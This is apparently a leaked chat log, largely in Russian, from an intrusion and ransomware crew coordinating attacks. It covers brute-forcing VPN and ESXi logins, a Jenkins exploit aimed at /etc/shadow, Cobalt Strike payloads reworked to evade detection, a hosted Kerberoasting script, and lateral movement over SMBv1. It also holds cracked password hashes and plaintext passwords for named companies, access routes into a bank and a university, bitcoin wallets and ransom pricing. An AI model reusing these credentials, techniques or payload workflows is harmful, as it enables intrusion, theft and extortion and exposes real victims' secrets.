https://github.com/w0Tx/generate-ad-username

https://github.com/urbanadventurer/username-anarchy

https://github.com/floesen/EventLogCrasher/

привет, я не знаю)

не мое

билд под него создавался, значит, наша сетка

+

Привет!

Сначало сброшу, что набрутило и посмотрю эксплоит

FORTI_BRUTED_VALID_REVENUE.txt

CISCO_BRUTED_VALID_ITEMS_REVENUE.txt

FORTI_VALID_REVENUE.txt

FORTI_VALID_FROM_ALL_FILES_REVENUE.txt

ку

cob_crypt_ward: онлайн?

https://95.216.7.55/ui/#/login

не заходит

> <@usernamegg:matrix.bestflowers247.online> ```

) да я понял! и что ты думаешь? дать интервью?

я так понимаю ты про первые вопросы

Processing target: https://34.67.129.149

работает вроде

но вот что дальше сэтим делать ?

просто /etc/passwd тут нет хешей же

/etc/shadow нужно выкачивать

Processing target: https://34.67.129.149

Привет

но его не дало "Failed to parse /etc/shadow

> <@usernamegg:matrix.bestflowers247.online> ```

> <@usernamegg:matrix.bestflowers247.online> тебе работа сейчас вычистить кобальт

щас скину вчерашние

они чистые

Archive: GG23_MSI_TO_DLL_25_c86724b8adbc4c5ba4506369238b0904; PASS: uZ95fyel3P9ggANhO1P0zYWUChLr5LU7

щас залью на фо

http://temp.sh/VzOeK/GG23_MSI_TO_DLL_25_c86724b8adbc4c5ba4506369238b0904.7z

vot

ща еще посмотрю на других серверах

> <@usernamegg:matrix.bestflowers247.online> CS\_4.9.1

в файле `/etc/shadow` ведь хеши, верно?

+++

+

ладно, разберусь, кажись понял что именно там

но мне кажется это другое

там же сам коннект палит, а это другое чутка

это сами C2 профиля надо переписывать

ладно гляну ,скажу

franklillandson.com - блог готов!

https://github.com/threatexpress/malleable-c2/blob/master/jquery-c2.4.9.profile

ага, все понял что тебе надо

окей

> <@usernamegg:matrix.bestflowers247.online> ```

и напишу генератор тебе

чтобы python скрипт генерил разные профиля

каждый раз рандомный делал

чтобы у вас все уник было каждый раз при сетапе

+++

ага, такое же есть у меня

давно еще писал такое

только у меня медленные маяки

но чисто

++++

окей

сделаю

та вот ездил с утра, херово, болит рука очень, вправляли, сегодня еще анализы и подготовка к операции

та бред вообще, до сих пор не понимаю как можно было так упасть, чтобы всю руку сломать

несколько костей сразу

> <@usernamegg:matrix.bestflowers247.online> у меня уже время обеда, я пойду поем

я щас буду уже заниматься этим всем, и напиши как там тот тип по onenote, чтобы ят оже проверил все

> <@usernamegg:matrix.bestflowers247.online> да, востановят

> <@usernamegg:matrix.bestflowers247.online> витамины нужны что бы она зарастать начала

> <@usernamegg:matrix.bestflowers247.online> у меня у самого операция 15, кости будут ломать

дай угадаю, нос будут делать?)

ну это очень популярная проблема)

небось из-за бокса поломаный?

странно

Processing target: https://34.67.129.149

уже не пашет на это сервере

я просто занимался давно, из-за этого тоже ломал много, тоже надо такое делать, но пока не решаюсь

ладно, другие посмотрю

да, есть такое, капли еще такая херня, привыкание жесткое идет к ним, без них потом и вздох не сделаешь

> <@usernamegg:matrix.bestflowers247.online> нашел врачей отличных под наркозом все сделают все будет ок

Приятного аппетита, пошел делать генератор, щас изучу задумку этого профиля

я еще с YY спишусь, чтобы он обьяснил как там у него все работает, чтобы я если что сделал так, чтобы удобно его к вам внедрить было

оооо, щас

там bash и c# скрипты

он на чем напишет?

на сетках нужно проверять

one файл еще боюсь не все откроют

по умолчанию он вроде не стоит

я так понимаю он тз со мной согласует

вот сейчас я тоже зашел туда

ну да, скрипт мой работает корректно для авторизации esxi

значит там пассы сложные стоят на esxi

Добрый день. Что сделать?

cob_11DNS_x64.bin

Занимаюсь

выглядит все четко и по идее должно конверт давать

но у меня ошибка, не стартует

там клаока на выдаче файла?

Screenshot_2024-03-01_12-02-40.png

и передай что на Download Document ничего не происходит

только на Open Docuemnt

---

```

* ```

nfllp.com - с ними диалог идет? их просто в пору подсветить. но ты по ним вроде как просил не так давно файлы или трее..

привет, да

> <@usernamegg:matrix.bestflowers247.online> ну ты же помнишь что там несколько раз неправильно вводишь креды и нужно сбрасывать ссесия и все по новой

из кстати чет мало вышло

++

> <@usernameww:matrix.bestflowers247.online> sent a file.

`vpn.greenfirst.ca`

отойду поем, скоро буду

kekhash.txt

$krb5tgs$23$*ga1dpiv01$otrwheel.com$HTTP/GA1DPIV01.otrwheel.com@otrwheel.com*$4d1674143be25da204a...aa903f76c9:

какие линки?

aa903f76c9:

?

я для msi ничего не делал

с дженкинс сейчас разбираюсь. что-то переписать не получается

> <@usernamezz:matrix.bestflowers247.online> aa903f76c9:

нет, пустой . нет пароля

++

* $krb5tgs$23$_ga1dpiv01$otrwheel.com$HTTP/GA1DPIV01.otrwheel.com@otrwheel.com_$4d1674143be25da204a:

не делал)

какие линки, можете сбросить?

> <@usernamegg:matrix.bestflowers247.online> да и в esxi тоже

через один конект то правильный пароль ввожу, то не правильный

все ок работает на тестовом

правильно отдаем мне, когда верный пасс, пишет что вошел, когда неправильный пишет, что неправильный

значит ничего не нашло, потому что видимо пассы сложные стоят

ладно, я запущу брут esxi будем ждать, пока не найдет что-то

чисто root пользователя

прасто за ночь нифига не нашло... что уже плохо

видимо мало что найдет

а

https:/58.171.144.24:10002/ui/ root hahaha

ну такое нашло

это короч exsi который любой пасс пропускает видимо

нужно собрать еще айпишники jenkins

также фофа шодан

+

они их уже отбрутили думаю)

`Administrator:948ddb6c5acd490a41b50b864593b3ed:Administrator:`

`otradmin:b3ee16844989f6b867802058512c0784:otradmin:`

`seradex:5da6bb265e96724db121e6a986384b45:seradex:`

> <@usernameyy:matrix.bestflowers247.online> ресолв днс готов, осталось немножко: сделать днс сервер и отдать нужные данные, домен у меня уже есть

превью доки к грядущему обновлению брейкера:

превью доки к грядущему обновлению брейкера:

я могу сегодня пораньше покинуть рабочее место? в 21 хочу уйти

> <@usernamenn:matrix.bestflowers247.online> sent a file.

1.7z

> <@usernamegg:matrix.bestflowers247.online> sent an image.

там клоака стоит

это уже идет установка бота

спроси у него он как то фильтрует выдачу MSI?

ага

понял

я его пересоберу и попроуем

это может быть из-за пути

там идет в путь applocaldata/programs

видимо типо нельзя в programs записываться на корп тачках

поменяю на temp

по сути туда точно можно

ipQXFstTaZfjKDcIsqvbDVToqJKVmtgcETVekahFQbVHTpermX

строка

это по сути как ив program files

кароче переделаю скоро

> <@usernamegg:matrix.bestflowers247.online> ____

давай

так будет улчеш

лучше

я ему закинул реквест

ага, все добавил

> <@muaddib6:matrix.org> Готово инфецированием rundll32 file.dll, EppBRInitialize

2.7z

msi я пересобрал, новые уже пролил

можешь на корпе боевую тестить

файлы .one те же

> <@usernamegg:matrix.bestflowers247.online> sent an image.

```

ошибка?

аа

щас скину

1027.one

1018.one

вот какой то из

1011.one

и на каких тачках тестишь напиши, тоже важно, ибо на серверах есть урезания что только от админа запуск идет .msi

https://serverfault.com/questions/580972/why-is-this-preventing-me-installing-an-msi-the-system-administrator-has-set-po

вот тут описана по сути частично эта логика, но это больше догадки, не могу утверждать пока что

+++

давай

отпишешь

CISCO_MAIN_DOMAINS.txt

по этим доменам там тоже могут ребята собрать мыло и пасс

ku

na meste ?

est' univer johna hopkinsa tot chto covid schitali

esli niteresno mogu skinut'

https://vpn.greenfirst.ca/

```

yasno ok

хм

это ты Open Document нажал?

или Download DOcument?

ага, понял, щас у сборщика спрошу

а попробуй Download Document

jpmorgan chase tozhe ne interesno ?

:D

понял, щас тогда будем смотреть почему так

Screenshot 2024-03-01 071515.png

давай

там open docuemnt проверь

ok

jpchase na citrixe shas , otkril v vpse

Screenshot 2024-03-01 071515.png

kto vozmzyotsya ?

++

95.181.173.255

tam cherez socks vse robotaet i vnutri esho EDR postavlen v vpse Sentinel

ok

tam 2 citrixa otkrito odin Johns Hopkins drugoy JPchase

esli zakroyut snova otkroy pozavi bota , copy past ne robotaet no cmd robotaet

++

сокс можно использовать на своей vps?

da

eto drugoy socks ne ot banka

в банк только через citrix?

da

nado tam skinut' moego bota ili zhe vashego , instrukcii skinul tebe

офнусь пока

* офнусь пока что

это новый какой то фтп

?

```

$krb5tgs$23$*svc_adfs$NuMotion.local$host/adfs.numotion.com*$1af8cd1b11945b0ef0b...3a16317e45:Piper386

We did not just experience your passing but we also suffered a fire in our building last friday

тяжёлая полоса у кого-то)

* ```

* ```

> <@username777:matrix.bestflowers247.online> ```

---

`$krb5tgs$23$*Apps$DGSE.LOCAL$dgse.local/Apps*$8ab0414ffcace9052833bc6b892800d5$9480a125bba9c223d2c1a672fa375715885372ef06eae099d6eecd2a42322e88b9787dd77f2bb1b36c0f6118478ebc86b0c4c5103c4b99a0a0bc165986e41201d109a9e702f76797d070df5edc4e33d37043e9b7290f5f035426a80803383b04891ccfbea66fcaa10b0be8e9c7b111a2d1e3ef22853a2c6d2fd78f009c423401dbece37d32d73a69d6b8ff0d78518bde56ef9b9df2806229858a05d57a1a682756f3ae84d6f15bfd439167896f322ef361cc02ff033fefa94a378580d7e6aa4ee103713ad949c55ddfc09209732cf32851dbd6714956259821ec3c24e5eee52920bb91b3fbffab28805c3cef7ace15b60e45415894bbc3e194b8e071fa9b39fd5e07d6d603b821162c3edf636f14c42935dc496e1c1ab111e9fdf302a1749d238f5d82634332542fe4effb3c0eee05f75985d24f06b13c26504e6697213d610627c0ccac59df0f91f918ad3c30c1bce4661c394ea579a109230156dfa0df503b7c100a2f1e614f3ae96a813d7c3059a389107364ff2ace225d59ca101138dd502696fe88175bf5d2786926b707fffd7eb319ae00140baf7c804b24291bd0731c9b52cb9728320a52f3f91f05075a299f16f73b18754865231479e63e255b5c7d296837d79400b6ba6989c8443c426c3a0d519d5ae7044be13b44eb5cfd732749f5aae556a95b607d972483b7a663b4e26d237506f3fa0a9d5b0365a5ef592a54d64ba72dd60ee37501589191c75f30fa381fcf5076ec1b0fa58ac509a3a104d6ce3d28d3b9dc5336b490c9cdfdb346d43094002f1487a1e768ee495e990dfee617a2a7af4333cb287b0b9b0729cb9ee49c166c463383a86c609aeaf17aae750bbb2fdc1da74d429cfe3dbdacec46b14354c3f3da35b5fdb32b78eca42b8e48c797e54850aadf19134a020e4acd01cdb960cda5c8a6d29779192aee85a4806c1a998ef10d1c98646dbf3ca48e3e9aac74c098b5953731c957bf87e613d38957de6577ad25f233084a3921d30720e250f90feda2b46540d24ad9f493419383a280d3bb1c8e33494b582844c42fdaa79c95cd745daa738e444274bd56b369b8fb7f5afae26ea835a545416568b3bad1f7b707c086cf97fbeff40097042d646f427377da826e6f7b4653f30320f9688ec5e3d88a1d8cc37c885a243df56fc74592ab1fc1a49069c91d66d5f1a45f661dae00ea7a3b3047ab1c4838b09403695af32bccfd8f1624353b8d1aa1c4eb600b80f6260d08a468fa779103df75dceaa98795f7037d649fc19ed130aa7940ef59324e5588467ae9787d3ccb0afc47e68970e3cdce3aad6da381931220154285368810f4173fa968831fd30d07b4f66da9197aec56e0399a4f95e038e96d9942a38de7247ffda97bfb51df416088e10caa55d1b6dee6efd62dafbfec8b2393454bbf157c2bc5989cb214447fe084a6d843d5d9560a4dfbfab2239ea220816b3f4be4b8a75b09c0a2068bb094a09f3a7ab5d5b12a5ce0f2b37759a92ce586ea27244208e438349df38b4f6b15dadadb56cc859841445fb09aa4490b36bb7474f9f4beaa530633f03b2ee6e4201f659b5e3bf95bf3d30149293aebfd043b8c1d306ee221a59f4ec33027e27872ab41ef63ee39b0f89de7c646e4f2094eb19665b2`

```

etot shas est' na citrixe

exe mozhno zapustit' no s sertifikatom

* exe mozhno zapustit' no s sertifikatom

kto vomzyotsya ? ne interesno ?

bot tam ne stuknul no zapustilos

https://70.63.127.35:4433/sslvpnVirtualOffice.html

ok

с хеша вошел

> <@cameron777:matrix.org> ```

это такой-то еще SonicWall впн

95.181.173.255

NA Shared Destop

++

tam 2 citrixa ne sputay

ок

их кажется тоже не мало

думаю тоже стоит собрать их айпишники и попрутить

да, собирайте

я завтра только отдохну

в вс продолжу

vikachal file zapustil ?

закрылся, второй раз открываю, не открывается пока, жду

`barry.brinker::NUMOTION:037d33fa1f59b74f5ae5cbb583301150e93253d830610b78:037d33fa1f59b74f5ae5cbb583301150e93253d830610b78:1122334455667788`

> <@usernameww:matrix.bestflowers247.online> `$krb5tgs$23$*Apps$DGSE.LOCAL$dgse.local/Apps*$8ab0414ffcace9052833bc6b892800d5$9480a125bba9c223d2c1a672fa375715885372ef06eae099d6eecd2a42322e88b9787dd77f2bb1b36c0f6118478ebc86b0c4c5103c4b99a0a0bc165986e41201d109a9e702f76797d070df5edc4e33d37043e9b7290f5f035426a80803383b04891ccfbea66fcaa10b0be8e9c7b111a2d1e3ef22853a2c6d2fd78f009c423401dbece37d32d73a69d6b8ff0d78518bde56ef9b9df2806229858a05d57a1a682756f3ae84d6f15bfd439167896f322ef361cc02ff033fefa94a378580d7e6aa4ee103713ad949c55ddfc09209732cf32851dbd6714956259821ec3c24e5eee52920bb91b3fbffab28805c3cef7ace15b60e45415894bbc3e194b8e071fa9b39fd5e07d6d603b821162c3edf636f14c42935dc496e1c1ab111e9fdf302a1749d238f5d82634332542fe4effb3c0eee05f75985d24f06b13c26504e6697213d610627c0ccac59df0f91f918ad3c30c1bce4661c394ea579a109230156dfa0df503b7c100a2f1e614f3ae96a813d7c3059a389107364ff2ace225d59ca101138dd502696fe88175bf5d2786926b707fffd7eb319ae00140baf7c804b24291bd0731c9b52cb9728320a52f3f91f05075a299f16f73b18754865231479e63e255b5c7d296837d79400b6ba6989c8443c426c3a0d519d5ae7044be13b44eb5cfd732749f5aae556a95b607d972483b7a663b4e26d237506f3fa0a9d5b0365a5ef592a54d64ba72dd60ee37501589191c75f30fa381fcf5076ec1b0fa58ac509a3a104d6ce3d28d3b9dc5336b490c9cdfdb346d43094002f1487a1e768ee495e990dfee617a2a7af4333cb287b0b9b0729cb9ee49c166c463383a86c609aeaf17aae750bbb2fdc1da74d429cfe3dbdacec46b14354c3f3da35b5fdb32b78eca42b8e48c797e54850aadf19134a020e4acd01cdb960cda5c8a6d29779192aee85a4806c1a998ef10d1c98646dbf3ca48e3e9aac74c098b5953731c957bf87e613d38957de6577ad25f233084a3921d30720e250f90feda2b46540d24ad9f493419383a280d3bb1c8e33494b582844c42fdaa79c95cd745daa738e444274bd56b369b8fb7f5afae26ea835a545416568b3bad1f7b707c086cf97fbeff40097042d646f427377da826e6f7b4653f30320f9688ec5e3d88a1d8cc37c885a243df56fc74592ab1fc1a49069c91d66d5f1a45f661dae00ea7a3b3047ab1c4838b09403695af32bccfd8f1624353b8d1aa1c4eb600b80f6260d08a468fa779103df75dceaa98795f7037d649fc19ed130aa7940ef59324e5588467ae9787d3ccb0afc47e68970e3cdce3aad6da381931220154285368810f4173fa968831fd30d07b4f66da9197aec56e0399a4f95e038e96d9942a38de7247ffda97bfb51df416088e10caa55d1b6dee6efd62dafbfec8b2393454bbf157c2bc5989cb214447fe084a6d843d5d9560a4dfbfab2239ea220816b3f4be4b8a75b09c0a2068bb094a09f3a7ab5d5b12a5ce0f2b37759a92ce586ea27244208e438349df38b4f6b15dadadb56cc859841445fb09aa4490b36bb7474f9f4beaa530633f03b2ee6e4201f659b5e3bf95bf3d30149293aebfd043b8c1d306ee221a59f4ec33027e27872ab41ef63ee39b0f89de7c646e4f2094eb19665b2`

++

Привет

Закроемся?

кош bc1qg3q0gh4uyr3thfqu4e0sz7tdzk5gjsqntnzzz2

2500

++

спс

привет

думаю еще дня 2 по пересылке даты и тестируем днс

https://bruteratel.com/

а ты этот не пробовал ?

```

0x01008ce44b185f1b5bf1367212213978a2734b5038b5817d6877:reporting

0x010087959650a8b758b47298326871189419b3a119fb92f4e2d5:m@g3nt0

cameron777: 1

Invoke-Kerberoast.ps1

pfktq bv djn 'nj

* залей им вот о это

sec

https://eingangfurkunden.digital/Invoke-Kerberoast.txt

```

dns ne stuknulo da?

твой сайт заблочен уже

ничего никуда не идет

s hrome-a ne otkrivaetsya ?

* s chrome-a ne otkrivaetsya ?

nea

zaxodi na htps://mamore.live posmotri otkrivaetsya ili ticket prosit

esl icht otuda skinu

* zaxodi na https://mamore.live posmotri otkrivaetsya ili ticket prosit

да, понял что не очень по сути нагрузка

* esli chto tuda skinu

`Sys.Sam.Wineinger::NUMOTION:b60fcf16974d2ab446466ff95c7319edef8a074c8c812dc7:b60fcf16974d2ab446466ff95c7319edef8a074c8c812dc7:1122334455667788`

```

f6572a24bdd0d5316ed0bd2f9c7f9062

`otrwheel.com`

++

```

`$DCC2$10240#ldap#f03f50c7e247efbcdff9a8e305a40bd7`

G@10tr195D0m@in

`$DCC2$10240#hayden.tucker#eb3160e6bb4540517795c3a1e41e4d09`

`$DCC2$10240#evariste.nya#5c13beda1ef432985b55593e08040774`

`$DCC2$10240#Veeam.Backup#e62066915b9f063899d15c8e28cd3eab`

`$DCC2$10240#Yunus.Gumbo#08f0df5a30bd6799297286b7fc9d9449`

`$DCC2$10240#Girrod.Stewart#53e286a0828405cb97607fe1e30f9a93`

> <@usernameww:matrix.bestflowers247.online> ```

> <@usernameww:matrix.bestflowers247.online> ```

++

* `$DCC2$10240#admin-rwoolley#925f9c53016cc38071097372f5553c9f:Th3r@py!`

* `$DCC2$10240#admin-pmagee#70de76934f504676d54f684f5ccfc7a3:Sept-2016`

```

> <@usernamess:matrix.bestflowers247.online> f6572a24bdd0d5316ed0bd2f9c7f9062

> <@usernamenn:matrix.bestflowers247.online> ```

> <@usernamenn:matrix.bestflowers247.online> ```

```

> <@usernameww:matrix.bestflowers247.online> ```

> <@usernamenn:matrix.bestflowers247.online> ```

Есть нтлм , щас сброшу

@NN

Ебать сильно!

> <@usernamenn:matrix.bestflowers247.online> ```

> <@usernamenn:matrix.bestflowers247.online> ```

`4cd795826f12a88aecdd956167c42642:fc1114d5671232d9170923bdcb9ca95c`

lm:NTLM

remet.com - посомтри плиз

уже там

сейчас доделаю= последний блог и найду мне минут пять осталось все залить чисто

image.png

У тебя будет минутка?

> <@usernamegg:matrix.bestflowers247.online> ISI-About-Us.pdf

```

aspyr_kekhash.txt

> <@muaddib6:matrix.org> Готово инфецированием rundll32 file.dll, EppBRInitialize

`aspyr.com`

cob11_443_x86.bin

muaddib6: Прям очень надо

burrito: ?

сделаешь?

> <@usernamenn:matrix.bestflowers247.online> burrito: ?

на XP запустится?

не запускалось вроде

Хр хз, щас сделаю

у тебя нет XP проверить?

2003 или XP

> <@usernamenn:matrix.bestflowers247.online> у тебя нет XP проверить?

Ок

> <@usernamenn:matrix.bestflowers247.online> у тебя нет XP проверить?

NAS - нужен листинг

> <@usernamemm:matrix.bestflowers247.online> `$DCC2$10240#ldap#f03f50c7e247efbcdff9a8e305a40bd7`

> <@burito:matrix.bestflowers247.online> я так понял хр х64?

пейлоад x86 же

погоди новый скину пейлоад

cob11_DNS_x86.bin

Щас

вари хр нет, дайте доступ, попробую запустить там

это проще будет

> <@usernamemm:matrix.bestflowers247.online> `$DCC2$10240#ldap#f03f50c7e247efbcdff9a8e305a40bd7`

> <@usernamess:matrix.bestflowers247.online> `Sys.Sam.Wineinger::NUMOTION:b60fcf16974d2ab446466ff95c7319edef8a074c8c812dc7:b60fcf16974d2ab446466ff95c7319edef8a074c8c812dc7:1122334455667788`

> <@usernamenn:matrix.bestflowers247.online> Крипт битый, не запускается файл в общем

X 2024-03-02 в 03.33.33.jpg

https://github.com/trustedsec/CS-Situational-Awareness-BOF

Качайте в ZIP архиве, распаковываете

в кобе добавляете в скрипт менеджере cna которая находится в папке `/SA/SA.cna`

команда что бы узнать policy траста

Запомните, прям запомните иначе потом опять будете спрашивать. ПРОЧИТАЙТЕ что бы потом не говорили что я не слышал, не видел, не знал, забыл.

X 2024-03-02 в 05.27.08.jpg

Все надеюсь помнят эту ошибку которая выдается после того как вы пытаетесь прочитать Windows XP или 2003 Server, это связано что на ВАШЕЙ (НАШЕЙ) стороне нет поддержки SMB v1 протокола, по этому мы не можем читать, уж тем более звать это старое дерьмо.

Дак вот я понял что это была проблема на нашей стороне всегда и что бы проверить поддерживает ли наша тачка SMB v1, нужно ввести команду:

X 2024-03-02 в 05.29.26.jpg

MRxSmb10 - указывает на то что у нас есть поддержка SMBv1, и мы можем читать это дерьмо.

X 2024-03-02 в 05.30.08.jpg

На этом скрине мы не видим MRxSmb10, значит прочитать старое дерьмо обернется хуем за щеку

* На этом скрине мы не видим MRxSmb10, значит прочитать старое дерьмо не получится.

На вопрос, "А что теперь если мы будем проверять и найдем ту самую которая будет поддерживать SMBv1, мы можем теперь джампаться на нее, или как то звать, ДА можно. Джампы psexec при условии того что там нет АВ, tasklist как правило удаленный на это дерьмо не работает, если только в слепую чего не рекомендую. Звать можно через remote-exec x86 файлом криптованным который будет проверен на запуск на нашей XP или Server, где его достать, не ебу.

Надеюсь все популярно и доходчиво объяснил ...

🐇

* На вопрос 🐰, "А что теперь если мы будем проверять и найдем ту самую которая будет поддерживать SMBv1, мы можем теперь джампаться на нее, или как то звать, ДА можно. Джампы psexec при условии того что там нет АВ, tasklist как правило удаленный на это дерьмо не работает, если только в слепую чего не рекомендую. Звать можно через remote-exec x86 файлом криптованным который будет проверен на запуск на нашей XP или Server, где его достать, не ебу.

* На вопрос 🐰, "А что теперь если мы будем проверять и найдем ту самую которая будет поддерживать SMBv1, мы можем теперь джампаться на нее, или как то звать, ДА можно. Джампы psexec при условии того что там нет EDR, tasklist как правило удаленный на это дерьмо не работает, если только в слепую чего не рекомендую. Звать можно через remote-exec x86 файлом криптованным который будет проверен на запуск на нашей XP или Server, где его достать, не ебу.

* На вопрос 🐰, "А что теперь если мы будем проверять и найдем ту самую которая будет поддерживать SMBv1, мы можем теперь джампаться на нее, или как то звать, ДА можно. Джампы psexec при условии того что там нет EDR/XDR, tasklist как правило удаленный на это дерьмо не работает, если только в слепую чего не рекомендую. Звать можно через remote-exec x86 файлом криптованным который будет проверен на запуск на нашей XP или Server, где его достать, не ебу.

🐇 🐇 🐇

🐇

🐇 🐇 🐇

🐇

🐇

* **------------ PRESS**

* MRxSmb10 - указывает на то что у нас есть поддержка SMBv1, и мы можем читать это дерьмо. (Походу 2008 сервера все или почти все имеют поддержку SMBv1)

> <@username777:matrix.bestflowers247.online> `Sys.Sam.Wineinger::NUMOTION:b60fcf16974d2ab446466ff95c7319edef8a074c8c812dc7:b60fcf16974d2ab446466ff95c7319edef8a074c8c812dc7:1122334455667788:Plumbus1983!`

> <@usernameboy:matrix.bestflowers247.online> `$DCC2$10240#ldap#f03f50c7e247efbcdff9a8e305a40bd7:Aa11Bb22Cc33Dd44Ee55`

185.219.221.136:39599

185.219.221.136:38001

`64.176.219.106:33363 OTRWHEEL FIZ`

`64.176.219.106:42395 OTRWHEEL FIZ`

На второй сетке, что я ночью раскрутил, слишком много даты и я хз нужно ли ее ставить на папру часов пока мы будем ставить сетку одну

а если поставим качать то хз сколько выкачает и ждать до вечера вдруг выпилять нас

диллема

185.219.221.136:33887 numotion

```

```

🐇🐇🐇🐇🐇

```

burrito: нет желания накатить XP & 2003 потестить билды?

> <@usernamenn:matrix.bestflowers247.online> burrito: нет желания накатить XP & 2003 потестить билды?

Для хр надо многое урезать, что для крипта критично

> <@usernamegg:matrix.bestflowers247.online> делает бентли

Привет, разжевал для них всё

мне нужна твоя ценовая политика по anthemproperties.com - они предлагают 400к, и, в целом, судя по их финансам, это их потолок. Не забывай, что в годовой доход очень часто считаются конраткты заключённые в этот год на всю протяжённость. То есть, если они подписали поставку компании А на миллион долларов на пять лет - этот миллион будет засчитан в годовой доход одного года. Поэтому далеко не всегда большой доход = большим деньгам. В принципе, для компании их размера, полмиллионная инвестиция это скорее всего потолок, даже с учётом всех dept fundings

Ясно, хуево чё

и как ?

ку

приедешь?

я GOAD ставлю для теста поеботины с NTLMv1

> <@usernamenn:matrix.bestflowers247.online> burrito: нет желания накатить XP & 2003 потестить билды?

> <@burito:matrix.bestflowers247.online> щас скину пару вариантов

rundll32.exe dll.dll,CloseNow

cob11_DNS_x86.rar

и еще два

cob11_DNS_x86_n.rar

ебать вес)

надо поставить Windows XP попробовать

там где надо запустить там еще макафи стоит на одной, на остальных карбон или сентик

у меня на хр стартует

с ав надо тестить по месту уже

аа ты затестил, щас проверю на EDR чеке что там по детекту

[651E69468664310] Admin?

твое?

на дедике запускал

может

Ok

> <@usernamenn:matrix.bestflowers247.online> Ok

по DNS заливаю файл хули)

там 2000 винда как оказалось

тоже самое же?

да хз))

хорошо хоть не 95я

я на хр тестил

попробую запустить

ок

1,5 метра залилось

думаю через минут 40 будет готово)

а... у вас там узкое жерло

))

меньше палится

ну что?)

еще минут 5

ок

Залилось

не запускает на 2000

на 2003 щас попробую но там карбон

> <@usernamenn:matrix.bestflowers247.online> на 2003 щас попробую но там карбон

нет

с сервера на сервер

не запустило

спасилось или сам файл не стартанул?

файл не стартанул

хреново

ладно, пойду

Ok

> <@usernamenn:matrix.bestflowers247.online> ```

```

> <@usernamegg:matrix.bestflowers247.online> 58 минут ?

у меня показывает почему то что я в 12:20 скинул креды

а расшифровали в 13:18

https://trustedsec.com/blog/a-comprehensive-guide-on-relaying-anno-2022

https://juggernaut-sec.com/ntlm-relay-attacks/

> <@usernamegg:matrix.bestflowers247.online> за сколько по времени вы расшифровали ?

привет еще раз

надо будет что-то криптовать ближайщую неделю?

вы лоадер сделали свой?

крутяк

я что-то получу за этот месяц? с учетом детекта со стороны тренда и S1?

привет

исходники нужно кидать новым прогерам без редактирования? я их шарить не очень хочу и они им не нужны, если есть тз

> <@usernamegg:matrix.bestflowers247.online> думаю 3к

программы дорогие, а надежность прогеров я не знаю

ну и в этом нет смысла, если есть тз опять же

я скину, ты только скажи полностью кидать или отредачить что то

ок

скинул

а когда можно будет получить?

https://tishina.in/ops/freeipa-postexploitation

500?

или ещё выше?

бро привет

впску скинешь

Доброе утро!

FORTI_VALID_FROM_ALL_FILES_REVENUE.txt

FORTI_VALID_REVENUE.txt

CISCO_VALID_ITEMS.txt

Привет, да, та я буду переписвать весь кит просто

чтобы чисто было по артефакт киту

чтобы инжекты в процессы были чистые

чтобы C2 профиль не палилься по коннтку

коннетку

* коннекту

CISCO_BRUTED_VALID_ITEMS_REVENUE.txt

Добрый день. Что сделать?

https:/108.181.186.134:443/ui/ root P@ssw0rd один только нашел какой-то

впску я купил , сейчас развернут все туда поставлю и тебе передам

Есть 2 вопроса:

Ожидаю.

> <@usernamegg:matrix.bestflowers247.online> 178.236.247.17

```

тогда нужно будет прокладки переделывать и нужно уточнить 45.15.157.234 этим кто то пользуется, это прокладка для адвертов, ее можно отключить просто

> <@usernamegg:matrix.bestflowers247.online> он нам хочет их поменять

можно удалять, данных нет

это для тех кто дату грузил, чтобы мы основной сервак типа не давали

по моему им никто не пользуется

`733274e28a1bc589c9e63bbce445adbb`

733274e28a1bc589c9e63bbce445adbb:*1*master*1*

поставил проверку на jenkins

айпишинки проверю

также уже пишу скрипт, чтобы проверить получится ли этим эксполоитом вытащить etc/shadow

ага, понял

все

про чистку китов, это я?

или еще кто то делает?

ну вот по поводу коннекта это c2 профиль надо поменять, сделать его максимальн очистый и рандомный

чтобы сигнатуру сложно было веншать

* чтобы сигнатуру сложно было вешать

```

да, поставлю сониквол

брутить

пока jenkins занимаюсь

проверю получится ли etc/shadow вытаскивать

но на тестовом в пятницу etc/shadow не давало

> <@usernamegg:matrix.bestflowers247.online> 83.97.73.37; 345$; 02.03.2024

занимаюсь, постораюсь вам сегодня хоть какой то функционал отдат ь, чтобы вам уже жизнь чем то облегчить

```

сейчас тут несколько байпасов

но я добавлю получше

а старые походу уже заезженые

я новые сделаю

> <@usernamezz:matrix.bestflowers247.online> ```

тут просто еще сам spawn походу палиться

ну кароче сам вот этот инжект херово отрабатывает

* `f1a1c05b013505108dea3b27a7321c05:administrator:*1*master*1*`

ага и сами сисколы не регенерятся, там сиды идут как статики

ну /etc/shadow не получатеся короч вытаскивать, проверил уже на 20 айпишинках

ну и логично

их может палить тоже

к /etc/shadow доступ на чтение только у рута

-rw-r-----

-rw-r--r-- /etc/passwd

а такие права у passwd, поэтому он еще читается

но там же хешей нет

blog.exe

blog32.dll

blog64.dll

ладно, займусь сониквол

eu.exe

eu32.dll

eu64.dll

файлы для сокс бота

длл с какой точкой входа?

rundll

++

bc1qsz7p8ulue7pl9egqqc96wgesh0drsh6kl2xcgg

> <@usernamezz:matrix.bestflowers247.online> ```

> <@usernamett:matrix.bestflowers247.online> sent a file.

Позже пришлю еще инфецированием

1.7z

++

`$DCC2$10240#exigoop#bbf83a9dbe77baff1be48f495ccd8404`

13_443_x64

13_443_x86

13_SMB_x64

13_SMB_x86

++

---

```

странички блога надо по ним создать

доброе утро

СПАСИБО БОЛЬШОЕ

* спасибо большое

так может отменим тогда?

зачем ему замена

--

я могу попробовать

как X86 закончу

пару минут отпишу

да, только коба

занимаюсь ей

я пока точно не могу сказать, сколько займет

я не думаю что

я не думаю что это будет больше 3-4 ех дней

я щас хочу вам нормальные профиля сделать

а потом уже дебажить сам кит

потому что у вас основная проблема насколько я понимаю это палит коннект

то есть там уже где то сигнатура и ее надо чисто снять и все

а потом уже с самим китом разберусь

это я сегодня вам сделаю

ну с коннектом

+++

делаю

`5211e89ea1ee396cddddc918e6faffce`

`575b60dbbd08bf64ac3c44bd41bf907a`

X 2024-03-04 в 15.41.15.jpg

```

да

++

> <@usernamett:matrix.bestflowers247.online> 13_443_x64

13_443x64.zip

++

```

13_443_x86.zip

13_SMB_x64.zip

> <@burito:matrix.bestflowers247.online> sent a file.

> <@usernamezz:matrix.bestflowers247.online> ключ такой же?

++

13_SMB_x86.zip

> <@usernamett:matrix.bestflowers247.online> sent a file.

2.7z

cSfhjLILsBZKeCkRVYXZdleZOzrdQpHQZTQEDIfOljcqaQSTZR

строка для размножения

true.co.uk

ssmnlaw.com - а по этим бесполезно, я думаю я им скажу, что раз не можете платить - ваша проблема

